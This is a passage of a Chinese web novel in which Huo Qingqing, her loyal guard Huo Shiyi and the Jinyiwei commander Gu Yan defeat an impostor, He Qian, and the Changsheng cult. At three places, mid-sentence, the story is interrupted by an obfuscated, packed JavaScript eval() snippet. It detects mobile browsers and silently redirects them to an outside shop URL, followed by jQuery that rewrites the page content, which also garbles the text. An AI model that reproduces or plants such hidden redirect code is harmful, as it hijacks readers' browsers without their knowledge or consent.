霍姑娘啊,彼时容易冲动,做起事来不顾后果,遇到过许多危险。她好像什么都不怕,为了自己心中道义可以做许多许多事。 好在他一直在她身后,他无畏受伤,无畏生死,唯独怕霍姑娘瞧见他受伤伤心。 霍姑娘啊,后来成了她想做的人,为百姓谋了许多福祉,救了阜州百姓。十三楼被称百姓庇护,成了许多正道侠士心之所向。 而他,成了十三楼的霍十一,霍姑娘的死士之首,领十三楼和霍府死士。 如今的霍姑娘,心思灵透性子沉稳,但仍有热血藏在心中。眼下她已不大爱将那些侠义挂在嘴上,做的事却全部都是。 也像那时有人开玩笑说的,霍姑娘长大了也不差。 霍姑娘没有那等倾城容貌,却仍有一番不折风骨。 她便是,许多人无尽黑夜里那盏灯火。 亦如京都阳春三月新发的烟柳。 霍承阳总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556403|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵容着霍姑娘,幼时给她写了一首青草歌,霍姑娘就背下来,在冬日凌冽的寒风里唱给他听。 野火烧不尽,大风吹不倒。 “十一,你说这个朝堂如今还能洗干净吗?” 霍青青将他拉回来,低垂着眼睫摆弄自己腰间坠着的佩环,看着佩环碰撞,搅住又松开。 霍十一握住腰间那柄剑,低笑道:“若是姑娘想,那便可以。” 他会做姑娘的刀,一往无前,无畏生死。 霍青青笑起来,笑声飘散在院落里。 院落里的古树刚抽出新枝,被春风一带,微微摇曳起来。 “霍施主在笑什么?说给老衲听听。” 住持缓步行来。 霍青青见状忙起身相迎:“慧悟禅师,许久未见可还好?” “霍施主还是没变。”慧悟禅师念了句佛号,捻着手中佛珠,看着如今的霍青青面上慈祥。 “劳禅师记挂,我今日前来便是来讨个笺。”霍青青从袖中掏出几张银票:“这些香火钱还请禅师收下,十余年未归,从前为我娘点的长明灯辛苦禅师了。” “不,老衲今日迎霍施主进来,是想说上那么一句。” 霍青青一愣,缓缓道:“那禅师且说来听听。” “霍施主,有一劫将至,解法在东,行月余,跃高山。”慧悟禅师作揖,随后便有小沙弥呈来一张许愿笺。 霍青青接过,提笔写上东西便还回去。 “若是解毒之法……顾大人许是寻到了,只是……我如今怕是行得慢。” 慧悟禅师摇头:“岂止这么简单?灵玄子道长怕是说过顾施主与雁施主。他们二人,怕是要旁人再拉上一把。还有一言便是,真真假假假假真真,霍施主要好生看看。” 霍青青沉默下去,许久才道:“我记下了,多谢禅师。” “不必谢我,这些都是霍施主自己的造化。霍施主心系百姓,为百姓谋福祉,有官如此,是百姓之福,百姓之幸。” “我替人还债,也承霍家风骨,自当如此。” 二人寒暄许久,等人送来斋饭,霍青青和霍十一用过才离了山寺。 下山时,霍青青还是将香火钱放至山寺门口,这些钱,便替娘接着燃长明灯。 来时慢得很,回去快上许多。 霍十一嘱咐轿夫走慢些,生怕惊扰了软轿里的人。 有霍十一在外,霍青青总是会放心些。 他向来做事周到,又伴她十余年,最是知晓她喜欢什么想做什么。 …… 等到了霍府,天色已擦黑。 霍青青幽幽转醒,刚准备掀帘子出来便被霍十一止住。他压低声音道:“姑娘,顾衍来了。” “无碍,先进去吧。”霍青青掀开帘子,踏在地上。 霍府大门洞开着,门房不知去了哪里,门口竟一个守卫都没有。 她微提裙摆跨过霍府门槛,瞧着自己家中熟悉的假山池藻,才在前院里看到宋无忧在同锦屏说话。院子里的人匆匆忙忙,也不知爹回来没有。 霍青青带着霍十一三绕两绕进了自己院子,还未踏进月洞门,就瞧见一道熟悉的身影。 顾衍一袭绛红飞鱼服,正坐在石桌边上擦刀。 见是她来,又看着她身后的霍十一,星目含笑:“霍姑娘可让我好等。” 68.霍十一 霍青青同寻常一般坐下来,唤锦屏上了茶。 她挽袖提壶,给顾衍斟上一盏。 雪蕊新芽的杏竹香散在院落里,顾衍摩挲过温润的杯壁勾起一丝玩味的笑。 二人正对坐着,霍青青撑着头闭目养神。 忽地暗下来,霍青青睁眼瞧见俯身过来的顾衍,他的手擦过霍青青的耳畔声音带笑:“簪子歪了。” 霍青青转着右手手腕上的玉镯子,垂下眼睫:“劳烦顾大人了。” 她嗅着那股血腥味儿,是北镇抚司诏狱里浓重又熟悉的味道。 待顾衍坐回去,霍青青笑道:“顾大人,我方才让宋无忧给你带了话,你以为如何?” “以霍姑娘的身子骨,怕是还要再养养,出京不急于一时。”顾衍笑答一句。 霍青青点点头:“那便听顾大人的。” 霍府里静得很,院子里花开得正好,霍青青坐累了,视线落在顾衍腰间的那柄绣春刀上。 黑金的绣春刀,上面血迹斑驳。 顾衍向来喜欢擦拭他的刀,总把那柄绣春刀擦得干干净净。 霍青青心念一动,站起身伸手抓过顾衍的衣襟,桃花眼微弯:“顾大人出去这般久为何不先来见我?” 顾衍垂眼看着她拽着衣襟的手,面上挂起一丝笑意:“公务堆积太多,总要先清完的。” 霍青青松开他的衣襟,将被她抓出的褶皱轻轻抚平:“也是,是我思虑不周了。” “时辰不早了,顾大人是不是该回去了?” 顾衍含笑点头:“那我便先回去了,霍姑娘可要仔细些身子。” 霍青青看着他的背影,那绛红的衣摆上有一处颜色深些的地方。 想来……应当是诏狱里沾上的。 “辰砂。” “姑娘何事?”辰砂自暗处显出身形,悄然出现在霍青青身侧。 “你且暗中护着些宋无忧,若有危急将他救下。” 辰砂应下:“是。” “等等。”霍青青又叫住他,看了他许久才缓缓道:“护好自己,不需要你们去拼命的时候便不要拼命,留着命回来给我复命。” “这般说,你可明白了?” 辰砂微怔,很快低下头道:“属下知晓。” 待辰砂离去,霍青青摩挲着腕间的玉镯,此事怕是还要从长计议。 顾衍非顾衍,那又是谁? 如今她也不敢将此事摆在明面上,只是……锦衣卫之中怕是要当心些。 那顾衍又去了何处? 顾衍陵水亲信被杀,陵水城陷,十三楼据点被屠。 宋无忧和何桃带来的消息条条指向长生教,那长生教余孽竟是死灰复燃。如此想来,顾衍失去踪迹,恐怕也与他们脱不开干系。 青州学宫时,陨长老就化作林豫的模样接近她,可那日里,陨长老死在顾衍刀下断无生路。 霍青青转着腕间玉镯,一时心慌。 “十一。带疾风来。” 霍青青起身回了屋中,研墨铺纸,提起笔写下一纸信件,随后将信件卷好放进竹筒里绑在疾风腿上。 她伸手摸着疾风的背羽,低声道:“疾风,飞高些,别让人给射下来了。我让阿浔多给你备点你爱吃的犒劳你,你去她那里之后先别回来。” 疾风歪头看她,在她脸侧蹭了又蹭。 霍青青被它逗笑,抱着它挠挠它的头:“听话,能回来了再回来。” 她差霍十一将疾风带城去再放,霍十一领命去了。 也不知为何,她心绪难安,躺在榻上翻来覆去,总觉府中太过安静。 待入夜,府中还是安安静静的。 爷爷常年在外面游历,前些日子才又往覃州去了。 覃州是大将军徐从风的封地徐从风常年居住那方,甚少归京。 爷爷此去,应当也是请徐从风出兵援两方边关。 边关…… 滏南关与白沙关,如今虽太平,但架不住朝中不合,若是宋世荣借此机会再添一把火,怕是棘手。 更何况,何桃送来那份罪证还不知真假,须得等爹查探之后再与圣上商议做决断。 这些事总盘旋在她心头,便更睡不着了。 也不知过了多久,霍青青听见极轻的声响,她下意识唤了一句:“十一。” “姑娘,怎么了?”霍十一站在门外,身影被摇曳的灯火映在门上。 “有些不安。” 霍青青说着坐起来,披上一件青色外袍,将屋内的灯火都点燃。 霍十一见着屋中灯火明亮起来,慢慢道:“属下就在外面陪着姑娘。” 霍青青笑出声来:“好啊,你在外面,我安心些。” “十一,你可知道我爹这几日如何?” “这几日大理寺案子多,霍大人带着一众官员宿在大理寺那边。昨日里本该回来一趟,奈何中途被顾衍拦住。” “顾衍?”霍青青闻言一愣,她几步踏到门口拉开门:“何时的事?” 她站在一室的灯火里,已不是当年那个小孩子了。 霍姑娘今岁,该十九岁了,已是亭亭玉立的大姑娘了。 霍十一微微俯身将她的外袍往上略提了提,低声道:“酉时,那时候姑娘累了在睡,我便没有打搅。” “十一,你要护好爹。” 霍青青那双好看的桃花眼望着霍十一。她如今似是混沌了,有些看不清霍十一的面貌。 霍十一笑着应了,见霍青青穿得单薄,他的手抬起又收回:“外面寒,姑娘先进去吧,若是今夜里不想睡,我便陪着姑娘聊聊。姑娘想说什么我都听着。” 霍青青吹了灯又同霍十一说了许久的话。 霍十一的声音轻飘飘的,合着夜风散在房外,霍青青终于在天边亮起一线天光时有了睡意。 霍十一的声音柔下来,霍青青听着他似是带了点莫名的缱绻:“姑娘,睡吧。别想那么多,霍家,我会守着。” 后面便彻底安静下来。 等霍青青醒时,又是一片黑暗里,许是夜里冷着了,她咳嗽一声。 霍十一的声音响起来:“姑娘,属下可否进来?” 霍青青打理好,才道:“进来吧。” 霍十一提着食盒进来,将食盒里面的吃食一一端出摆在外间桌子上,随后放上一盏茶。 霍青青直觉不对,她蓦地抓住霍十一的手:“十一,发生何事了?” “这两日,为何不见锦屏?今日又为何是你来送吃食?” 她那双桃花眼逼视着霍十一,她已经许久不曾这般不安过了。 霍十一躲开她的视线,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566327|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声安抚她:“姑娘,仔细些身子,好好养着才是。” 霍青青抓住霍十一的手收紧,指甲微微陷进他的手背中,她看着霍十一一字一句道:“我问你,发生了何事。” “霍十一,我在问你!”她霍然起身,将霍十一逼退抵在墙壁上。 霍十一的脊背撞上去发出一声闷响,他任霍青青在他的手背上划出血痕,只轻浅笑道:“姑娘,我说过,我会守着霍家。姑娘,先安心养着。可好?” 一室的寂静里,霍青青松开他退后一步,声音有些不稳:“霍十一,你如今……” 霍十一见她步子不稳,忙上前想将她扶住。 霍青青将他推开便要去推门。 霍十一将她拽住,握住她的手腕把她扣在自己怀里,哑声道:“姑娘,听我的好不好?先养着身子。” 他炙热的呼吸落在霍青青耳畔。 不多时,霍青青便听见他近乎耳语:“别出去。我护着姑娘,不会让任何人伤到姑娘的。” “姑娘,求求你,先听我的好不好?” “姑娘,若是我死了,姑娘会如何?” 霍青青顿住,微微颤抖的手隐在宽大的袖摆里。 霍十一近乎贪婪地嗅着霍姑娘身上因常年佩锦囊染上的清冽味道,他一点点将手手紧环在她腰间:“姑娘,会如何?” 他似是不听到答案不罢休,他的声音颤抖着问了一遍又一遍。 霍青青的手收紧攥成拳,极力压下自己翻涌的心绪,她不知能说什么,只知霍十一伴她太久,已经成了习惯。 她将他当成心腹,当成她能信任的人。 “姑娘啊……”霍十一闭目叹息着,扣在她腰间的手微松。 “姑娘,若真到了那时候,你且多注意些自己的身子。这样,我便没什么好担心的了。” “如今……只能先按兵不动。外间有人来了,姑娘,你且睡下,我去应付。” 说罢,霍十一便松开她。 霍青青沉默着一把拉住他的手,抬头看向他:“十一,你若死了,顾衍管不住我,锦屏更管不住。” 霍十一浅笑:“顾衍若是对姑娘好,他自会想法子管住姑娘。” 他挣脱开霍青青的手,声音微提:“姑娘既吃完了,属下便先把这些收拾了,姑娘若有事,唤我便是。” “去吧。”霍青青拂袖转身,腰间的佩环叮当作响。 她许是该自己去查查了,十一这副模样,恐怕外间不太妙。 她只能想到,是那如今在京都的顾衍或是宋世荣捣的鬼。 “骤雨,你说……我重新捡起落下的轻功,会被人发现吗?” 霍青青摸着骤雨的头,随后自袖中摸出一枚铜制印信。 她指尖摩挲着印信上的顾字,抬头望了望天。 京都已是四月中的日子。 若是从顾衍离京之日算起,已有月余,宋无忧既然被人追杀受了重伤,到十三楼据点才将他救回来。那顾衍正面迎敌……也不知他如何了。 十三楼虽消息灵通,但……在茫茫人海里寻踪,怕是也难。只怕兰浔那边还要多费些心思,差人留意着各处消息。 如今京都这方也危险,若是找到顾衍还得想法子让他别冲动。 他得活着杀回来拿回他的指挥使之位才是。 69.叩长生 “一日问新生,三日叩神明。七日长生药,十日不老仙……” 顾府之中,顾衍坐在院子里,垂下眼睫看着杯中酒。 一晃便是初夏时节,他放下酒盏一手撑着头忽然笑道:“霍姑娘夜中前来,所为何事?” 月色之下,霍青青一袭青色骑装,背负一个青布包裹侧坐于围墙之上,唇角微勾看向院中那人。 “没什么,就是太久没听着顾大人吹笛子,今夜想听听。” “霍姑娘若是无事,便该在府中好好呆着。这京都人多,夜里出来,容易撞上装扮成人的鬼。” “顾大人说笑了。世上哪有什么装成人的鬼,只有变成鬼的人。” 顾衍闻言嗤笑一声,站起身松了松筋骨:“你那侍卫竟没死?” 霍青青旋身跃下围墙,取下背上的包裹握在手中慢慢走近。物件上的青布条被她抖落,银色的月辉坠在银亮的兵器上,映出点冷冷寒芒。 锋利的破甲锥熠熠生辉,她轻笑一声:“他流了血,我自来讨回。” “既不是顾大人,我们也无需客套。” 霍十一以一当百死守不退,以身入局才替她破重围,好在……医老对她向来大方,更有顾衍手下死士助阵,霍十一虽受重伤,如今也无大碍。 “霍家人,果真还是一身不折骨。”顾衍擦刀的手顿住,反握住血迹斑斑的刀柄。 “你不顾你爹的死活?不顾朝中那皇帝的死活了吗?” 他提起刀,立在院中,离霍青青仅几步之遥。 “他们?”霍青青眼眸微眯,她的声音伴着腰间佩环轻响传来:“我若那般无用,岂不是丢了我霍家的脸面。” “十三楼七堂六楼,你当真以为是摆来看的么?” 破甲锥“哐当”一声砸在顾衍面前,顾衍疾退数步,挑刀横扫。 “坐回这两月的指挥使之位,贺大人觉得如何?是不是……该还回来了。” “呵……”所谓的顾衍轻笑一声:“指挥使之位本就是我的,何来还一说?倒不如说,是顾衍忘恩负义踩着我夺位,如今京都已乱,霍姑娘不如先想想如何保住自己的性命吧。” 贺乾顶着顾衍那张脸,在夜色里身形如鬼魅。 霍青青手中破甲锥上卷,力扣那绣春刀吞口。 贺乾接下一击又抽身而退,刀光凛然带出银芒残影。 霍青青步步紧逼,贺乾总要卸力三分才敢接下。 古往今来,细数下去,用重兵纵横沙场的数不胜数,这破甲锥却是甚少见到。只有锋锐骑中淮月将军,一杆破甲锥随雁将离驰骋沙场,专破南羌铁骑。 时日一长,南羌铁骑便最怕淮月的破甲锥。 顾府院内,兵戈之声不断。 外间火光骤起,照亮半边天。 两人打得正酣,银芒迭起,一根蛇鞭忽自暗处卷来,直直袭向贺乾。 霍七不知何时跃下围墙,冷着脸一鞭抽在贺乾刀刃上。他睨了贺乾一眼,随后朝霍青青笑笑:“楼主,要死的还是要活的?” “都可。” 佩环碰撞间,霍青青身形飘忽,合着霍七蛇鞭一起将贺乾逼退。 霍青青手中破甲锥上卷后骤然落下,贺乾一时没躲过霍七蛇鞭,生生挨上一下,顿时皮开肉绽。 贺乾格住霍青青第二次重击,手臂颤了颤。 霍青青挑眉笑道:“贺大人莫不是老了?” 贺乾暗骂一声,都说霍家小姐娇生惯养如今更是拿钱堆出来的身子骨,未曾想竟这么些年武功未退。较那人所说更进一步,又逢她手边霍七蛇鞭灵巧,他只一柄绣春刀一个人,确是难敌。 “你不是想杀了她吗?”贺乾勉力接下霍青青的破甲锥,使了十成力才将两人又打开得以喘息片刻。 清冷的女声响起,身形似鬼魅一般掠到他身后:“你那时,竟未杀了霍七?” “布了后招,许是没拦住。”贺乾以剑撑起身子,反手握住刀柄与那遮了半边脸的神使共进。 “该引蛊了……”神使低吟一声,边打边退,一路退至顾府屋顶。 眼看就要跃出顾府,却见有人自暗处行来,黑金长刀带着刀鞘一下抽在她胸口将她打落下来。 “顾大人归京,为何不说?”霍青青睨了那方一眼,面色微冷。 “我……”顾衍无奈笑笑,站在十余步开外拦下神使,朝着霍青青道:“我……没来得及,我一回京就去了霍府,你不在。” “霍姑娘,你也别怪老大。”伍行跟在顾衍身后,面上被火药熏得漆黑。 他抬起袖子抹了一把脸,黑漆漆的脸上笑出一口白牙:“好不容易才回来。” 霍青青冷哼一声,手上力道加重,狠狠砸在贺乾刀上,将贺乾砸得踏进地面寸许。 伍行咽了咽口水,默默看了一眼顾衍。 后者手一僵,差点被神使戳个血窟窿。 他纵身一跃,落至霍青青身侧,在她耳边低声言语:“霍姑娘别生气了……” 霍青青扫他一眼,只看着贺乾淡淡道:“他的人头,顾大人来拿。我另有些事跟那神使清算。” 顾衍赔笑,握着新刀的手微微收紧,星目微眯看向贺乾:“义父,我还要赶紧收拾了好去跟霍姑娘赔个不是,就莫耽搁了。若是晚了,霍姑娘连我都打。” 霍青青一走,贺乾顿觉轻松起来。 他抬头看向顾衍,终是在月色光影里剥落一层面皮露出本来的模样。 “倒是小瞧了这丫头。”他见四方蛊人已至,漫天的血蝶飞来,看了那方引蛊的神使一眼。 “可惜了这么个好苗子,怎的就是霍家人。” 他叹着,绣春刀刀尖划过地面,带起微弱火花。 接着血蝶蔽月,他绣春刀亮如银月。 “两年前,是我大义灭亲,可是你欲反是事实,同安平王遗子谋反亦是事实。”顾衍手中新刀微提,反手握住刀柄。 “义父,我如今便最后再叫你一声义父。两年前,我杀你一次,两个月前陵水城你杀我一次,你养我数年,我还你半身鲜血,今夜便再打一场吧。” 贺乾搅出一方干净的地面,血色的蝶被他搅碎,血色破碎的蝶翼纷纷扬扬落下来,像是落下一常血雨。 “霍家那丫头就这么放心你一个应对?” 说话间,贺乾动了,他飞踏而至,刀锋凛冽。 只听“铿锵”一声,他的刀击在顾衍的刀刃上击出一路火星子。 顾衍 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“我哪有活着的时候?我非我,你还是你。但在长生教中,我饲蛊,控蛊,为教众,得长生焕新生。我依旧是我。”她握住双尖长棍,一端点地。 青面獠牙下,她眼眸中落了血蝶的血色,落下清冷的月光。似真的鬼魅一般,散发着森森寒意。 三面破甲锥锋利异常,只是略有些乏力。 霍青青强行忍下不适,反手将破甲锥握得更稳。 霍七若有所察,忽地踏近,蛇鞭卷在霍青青腰间将她拉退几步躲开一棍。 “楼主。”他轻唤一声。 霍青青站稳后朝他笑笑:“无碍。” 霍七挥剑挡下一击,二人各退一步躲开砸来的双尖长棍。 外间厮杀声越发响亮,霍十一浑身浴血终是踩着诸多尸首领着十三楼人进了顾府之中。 十三楼人手中点起火把,点燃血蝶,就这般将血蝶燎灼起来,随后那火光蔓延开来,很快将顾府这方点得亮如白昼。 霍府死士倾巢而出,砍杀长生教蛊人。 霍青青与那神使再战再分开,二人竟是打了个不相上下。 也是霍青青后继乏力,身子有恙,手中破甲锥越发沉重。 她索性将破甲锥一抛,接过霍七扔来的长剑重新打过去。 顾衍那方却不容乐观,贺乾的刀锋始终压了顾衍一招,纵然顾衍如今不再像陵水城那般被压得那么死,却也没好上多少。 双刀相击声不断,绽出朵朵银花,顾衍擦去面上的血,勾唇笑道:“贺乾,你杀我亲信,如今你可该还了。” 他话音未落,已是提起长刀猛攻而上,直将贺乾打得败退数步。他喘着气,星目里染上赤红,显然已是竭尽全力。 他似是不知疲倦一般挥刀,翩飞的血蝶落下许多粉末,像是绽出一蓬蓬血雾。 不知何时周遭的景物散去,只余下一片混沌里,他看到他抱着死去多年的娘,又看到自己颠沛流离。贺乾……他看到他提着贺乾的人头跃上马背朝着宫中而去。 他杀了许多人,血洗了南北镇抚司。 粘稠的鲜血淌到他脚下,他的步伐沉重起来,像是要被血水淹没。 70.他和她 “顾衍!” 混沌里有人在叫他名姓。 一只手拽住他的手臂,腕上的两个玉镯叮当作响。 顾衍反扣住她的手腕,在缭缭绕绕的药香里,他脑中清明几分。 “青青……” 他低声叫着,见着她站在血雨里,替他挡去许多下落的鲜血。 霍七的蛇鞭噼啪作响,打出一连串破空声。 顾衍一点点扣住霍青青的手,嗅着那一点令人清醒的药香。 忽有极轻的吻落在他唇角,接着便是他熟悉的柔和又轻缓的声音:“该醒醒了。” 他的手被握住,借着她的力道举起刀。 刺目的银白刀弧驱散眼前那片混沌。 霍姑娘的青衣滴着血,是从破甲锥和他的刀上顺着淌下来的。 顾衍长刀横过,带出刀风扫出道道血痕,贺乾被他当胸剖开,随后挑破肚腹,人头点地。 霍青青蹲下身,破甲锥顿在地面,挑下他腰间顾衍的牙牌。 她看着贺乾死不瞑目的模样唇角微勾:“数年前,你把将离仍在乱葬岗时,可有想过会死在他至交手下?” 顾衍俯下身轻轻握住她的手:“脏,我来。” 霍青青伸手攥住他的衣襟,挑眉道:“顾大人,你的账,我晚些跟你算。” 说罢,她便将他推开,提起破甲锥朝着被缚住的神使走去。 神使被霍七捆住,封住七窍。 霍青青抬手想取下她的面具,却又犹疑着收回轻攥成拳。 顾衍将贺乾的首级抛给伍行,起身行至霍青青身后,他的手落在她腰间,低声道:“霍姑娘这是怎么了?若是有牵扯,不若先将人扔进诏狱关着。待我晚些上朝述职回来再陪着姑娘一起审。” 霍青青垂下眼睫,低声道了句好。 霍七将人又捆上好几道,击晕了才拖着跟伍行走。 血蝶的残翼铺了一地,远远看去像极了满地的鲜血。霍十一拖着还在淌剑有些疲惫地站在霍青青面前。 “霍十一,幸不辱命。” 十三楼死士同顾衍手下的死士站在他身后,两方的人都折损些许。霍青青伸手将霍十一扶稳,声音散在这静下来的夜里:“好生敛骨罢……若有伤到的且去霍府休养,若有什么想要的便同那边人说声便是。” “十一,带他们好生歇息,你也是。待养好了再来找我。” “是。”霍十一领命,带着人收拾着这一地狼藉。 如今长生教总算拔除干净,陵水死城还需差人前去重建。还有京都之中这一片狼藉也要花些时候善后。 霍青青疲倦得很,她攥住顾衍的手腕,好看的桃花眼里生出些怒意来:“顾衍。你既活着,为何绕开我十三楼据点?” 顾衍低下头来抵在她额头上,唇角挂起一丝苦笑:“那时受伤颇重,在山中行了好几日,还是破月驮着我去找人。养伤花了些时候,想到陵水之中十三楼据点的人被调换,怕他们还有人在盯着才绕了路。” “伤哪儿了?”霍青青将他推开一点,拂开他的衣襟。 她还未做什么就被顾衍握住手,他涩然别过头去,耳根红了一片:“还在外面” 霍青青扫了四周一眼,挑眉道:“没人。” 顾衍这才发现四周的人悄然退下,只余下地上一片狼藉还未来得及打理。 他沉默片刻,勾住霍青青的腰将她抱起大步往自己的卧房走去。 他去外间洗了一把脸,差人抬热水,末了自己拧了帕子拉过霍青青的手细细擦起来。 “没有你的衣服,我差人去霍府取来罢。” 顾衍站起身时,霍青青极快地扯住他的衣襟将他拉下来,衣襟也被他顺势拉下来些,露出里面纵横交错的疤痕。 她将指尖探进去,触在微微鼓起的伤口上摩挲一下。 “待晚些,去我府上取点祛疤痕的药膏涂上。” 霍青青将手抽出来,给他压平衣襟,垂下眼睫缓缓道:“顾大人,我知你那时顾虑。但京中有霍家在,纵然他贺乾与那神使和宋世荣联手,我霍家也并非无法应对。” “他们锁城时,他们的消息亦被十三楼截住销毁。” “顾衍,你如今还是不信我?” “青青,你听我说。”顾衍一点点扣住她的手:“我那时是真的怕牵连十三楼,你的人若是因我而死,我不会好过。” “你先将衣服换好,待你换好了,吃些东西我再同你说。” 听着外间来人,顾衍站起身将送来的衣服接在手里。 锦屏在外张望几下,压低声音问道:“顾大人怎的又惹姑娘不高兴了?” 顾衍无奈得很,亦压低声音回道:“是我不好。” 锦屏没再多话,只又跟顾衍叮嘱几句才离去。 顾衍托着衣服呈给霍青青:“我家霍姑娘,先别生气了。先把衣服换上,再去好好沐浴一番,随后我再来陪着。霍姑娘瞧着如何?” 霍青青摸着衣料,是她往日爱穿的流云缎。 锦屏这几日总怕她太过操劳,给她备下的衣物都厚实许多,说是以免受寒。 见顾衍还未走,霍青青提起自己外袍看向他:“顾大人便在这里看着了?” “嗯?我、我这便出去了,外间备了热水,方才锦屏将霍姑娘常用的都带来了,我放在那边矮架上,霍姑娘……若是有事唤我便是。我就在外面。” 话落,霍青青就看着英明神武顾大人跌跌撞撞地跑了,也不知是干了什么,就听着“砰”的一声,之后才是关门声。 有时总觉得顾大人还是少年心性,许是从未经历过这些事,才这般跌跌撞撞。 霍青青起身行至外间,浴桶之中水温正好,已调上她惯用的药材。 边上的矮架上放着她沐浴常用的一应物件,齐全得很。 顾衍站在门外,屋内那窸窸窣窣的响动,觉得气血翻涌。 霍姑娘来时坠着佩环,此时伴随着那点细碎声响在他耳中放大。还有那腕间的玉镯子,也不知做了什么,轻轻碰撞了好几下。 顾衍艰难提起步子绕到廊下,离这方远了些,随后被那夜风一吹,燥热才慢慢散去。 屋子里雾气升腾起来,不多时就引得人困倦起来。她趴在浴桶边缘眼眸微眯,也不知何时就睡过去。 “青青?”她听见顾衍叫了她一声。 可是又觉得困得很不想动弹不想应。 顾衍连唤好几声没人应,他挣扎许久才轻轻推开门。 他站在屏风外又唤了一声:“青青。” “唔?”霍青青混混沌沌的,费了好大力气才将眼睛睁开一道缝。 “青青,泡太久了不好,若是困了待会儿早些睡。” 顾衍站在外面,看着昏黄灯火里映出一道人影。 “滴滴答答”的声响激得他好不容易压下去的热血又翻腾起来。 他背过身去,垂眼看着地面。 他许久都没有这般过了。 只有那时他受了重伤,夜里烧得浑身发烫,他就总想起霍姑娘爱撩拨他。霍姑娘从来都不讲究点到即止,却是会顾着他一点,看着他难受得狠了还是会放过他。 霍姑娘总是这般大胆,从初时见她便是这样。 世俗礼法,她比他更不在意。如今他跟霍姑娘比起来,都跟那些个酸儒文臣一样古板又守规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583587|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩了。 二十二年来,他如今还是头一遭。 忽地,淡淡的药香飘散开来,他见着霍姑娘一袭月白深衣站到他面前。 霍姑娘腰间只系了一根淡蓝宫绦,飘飘荡荡地落在她足踝上几寸。 她提起自己一缕打湿的发微蹙眉头:“方才没擦干。” 顾衍忙去旁边屋子清洗一番换了身衣服才去取了帕子替她擦,只是初时握着帕子,不知从何下手。 只得摸索着提起来一点点慢慢擦。 待擦干了,顾衍才又给她套上薄披风放回榻上。 顾衍也上榻来,抱着她。 他靠在霍青青肩头,温热的呼吸散在她耳畔:“霍姑娘,许久没见你,想你得很。” 霍青青抬起手,指尖点在他脸侧,一点点勾过他的下颌,在他的唇畔顿住。 她笑道:“那贺乾可不会像顾大人一样,回京便找上我。” 顾衍在她的指尖留下一个极浅的齿痕,声音略带沙哑:“是啊,所以,他不是我。” 他怎么会放下他家霍姑娘不管呢? “贺乾这时杀我亲信,便是笃定了我会亲自前去。”顾衍说着,他的指腹摩挲在霍青青手背上又轻轻抹过。 霍青青看不到他的神情,只听着他的声音一点点冷下来:“我已经许久没有折损过这般多的人了,哪怕是两年前我拔他爪牙杀同僚,都未有这般难受。” “他从前就说我蠢得很,如今还是一样蠢。” “可是……那又如何?我想做那便做,我从来都不怕死,只想为他们讨个公道。” “可是他千算万算,算准了我会前往,却没算准伍行,更没算准十三楼。” “那日里,伍行让破月救我时,他已是抱着死志。他想同那神使同归于尽。” 顾衍的手有些颤抖。 霍青青覆上他的手背,一点点安抚着。 “霍姑娘总是不想让许多人因你受伤因你而死,我也不想。可我在如今的位置上,许多人都等着我去扶持去拉上一把。他们似是觉得,自己为了我而死,是最好的。” “可是他们从未想过,我会背负的,是一条又一条的命,很多时候,这些东西就压在心头喘不过气来。” “那时的贺乾就是这般,利用我的愧疚想铸成他的长生教。” “我本不知长生教所谓赋新生得长生为何意,如今却是知晓了。” “是他,勾结那神使,将禁术重启,又去拉来傀儡助他们。蝶蛊便是他们给那些百姓们最美好的梦境,是为新生。” “而那时的齐云就沉浸在他们造出来的梦里,想将那一点微末的希望握住。最后变成血蝶的养分,利用血蝶去造出更多的长生药分发给百姓,就是这般循环往复让长生教慢慢壮大。最后将大煜颠覆。” 霍青青的指节嵌进顾衍的指缝里,声音轻缓:“顾大人,你可知我为何这般在意将离入京?” “为何?”顾衍的额头蹭过来,又在霍青青脸侧落下一个吻。 霍青青抬手挡住他:“顾大人莫要乱来。” 顾衍的手臂收紧些,将她环得更紧,低声道:“我知你同他是至交。我没乱来,就是想做……” “顾大人,说谎可不好。”霍青青转过身伸出手指点在他额头。 她睨了他一眼,才道:“将离身份特殊,是我从乱葬岗里捡回来的。后来贺乾案有疑,我才差十三楼重查将离。” “那……查得如何?”顾衍抬手将她的手拉下来握住,他闷了这些时日,今日才觉得心情好些。 如此看来,霍姑娘初时说得不错,他和她,该是同类。 该呆在一起的同类。 71.明月夜 屋子里灯火被霍青青打灭,她低下头慢慢靠到顾衍耳畔。 她轻浅地勾起他一缕鬓发,低声道:“将离知道我查他,索性找我摊牌。” “顾大人。” 清朗的夜色里她唤了一句,顾衍被她按在榻上,她俯下身来勾起顾衍的下颌,桃花眼微弯:“将离……才是真的安平王遗子。” 